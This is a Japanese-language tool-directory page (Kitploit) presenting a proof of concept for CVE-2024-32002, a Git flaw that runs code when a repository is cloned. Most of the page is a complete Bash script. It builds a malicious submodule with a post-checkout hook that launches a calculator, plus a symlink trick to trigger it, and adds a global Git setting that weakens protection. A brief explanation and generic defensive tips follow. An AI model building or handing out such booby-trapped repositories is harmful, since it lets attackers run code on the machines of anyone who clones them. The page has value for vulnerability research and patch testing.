Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-32002-poc — CVE-2024-32002はGitにおける重大な脆弱性であり、攻撃者がユーザーがgit clone操作を実行する際に任意のコードをリモートで実行(RCE)することを可能にします。 | Kitploit
ツール/GitHubGitHub/bohemianhacks/cve-2024-32002-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミングペイロード開発
GitHubbohemianhacks/cve-2024-32002-poc

CVE-2024-32002-poc

CVE-2024-32002はGitにおける重大な脆弱性であり、攻撃者がユーザーがgit clone操作を実行する際に任意のコードをリモートで実行(RCE)することを可能にします。

リポジトリを見る
1111年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Bashスクリプト:

#!/bin/bash

# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# Avoid warning messages (set default branch to main)
git config --global init.defaultBranch main 

# Define tell-tale path
tell_tale_path="$PWD/tell.tale"

# Initialize hook repository
git init hook
cd hook
mkdir -p y/hooks

# Write malicious code to hook, compatible with Windows and macOS
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
calc.exe
open -a Calculator.app
EOF

# Make hook executable: important
chmod +x y/hooks/post-checkout

git add y/hooks/post-checkout
git commit -m "post-checkout"

cd ..

# Define hook repository path
hook_repo_path="$(pwd)/hook"

# Initialize captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"

# Create symbolic link
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..

# Local testing (not needed for GitHub)
git clone --recursive captain hooked

平易な英語の説明:

このBashスクリプトは、脆弱性(CVE-2024-32002)を悪用して、誰かがリポジトリをクローンすると悪意のあるコードを実行する、悪意のあるGitリポジトリを作成します。

以下にスクリプトの動作を説明します:

  1. Git設定の構成: 攻撃に必要な特定の機能を有効にします。
  2. 悪意のあるフックリポジトリの作成: このリポジトリには、クローン時に実行される隠しスクリプトが含まれています。
  3. 偽装されたリポジトリの作成: 「captain」という名前のこのリポジトリは無害に見えますが、実際には悪意のあるフックリポジトリをサブモジュールとして秘密裏に含んでいます。
  4. シンボリックリンクの追加: このトリックは悪意のあるフックを隠し、リポジトリがクローンされたときに実行されるようにするために使用されます。

誰かが「captain」リポジトリをクローンすると、悪意のあるスクリプトがコンピュータ上で実行され、以下のような有害な結果を引き起こす可能性があります:

  • マルウェアのインストール: スクリプトが悪意のあるソフトウェアをダウンロードしてインストールする可能性があります。
  • データの窃取: 被害者のコンピュータから機密情報を盗む可能性があります。
  • システムの侵害: スクリプトがシステムへの不正アクセスを得る可能性があります。

このような攻撃から身を守るためには:

  • Gitクライアントを最新の状態に保つ: 脆弱性に対処するために、最新バージョンを使用していることを確認してください。
  • リポジトリをクローンする際は注意する: 信頼できるソースからのリポジトリのみをクローンしてください。
  • 信頼できるアンチウイルスソフトを使用する: これにより、悪意のあるソフトウェアを検出してブロックできます。
  • フィッシング攻撃に注意する: 不審なリンクをクリックしたり、未知のソースからファイルをダウンロードしたりしないでください。

これらの予防策に従うことで、同様の攻撃の被害に遭うリスクを大幅に減らすことができます。

ツールをダウンロード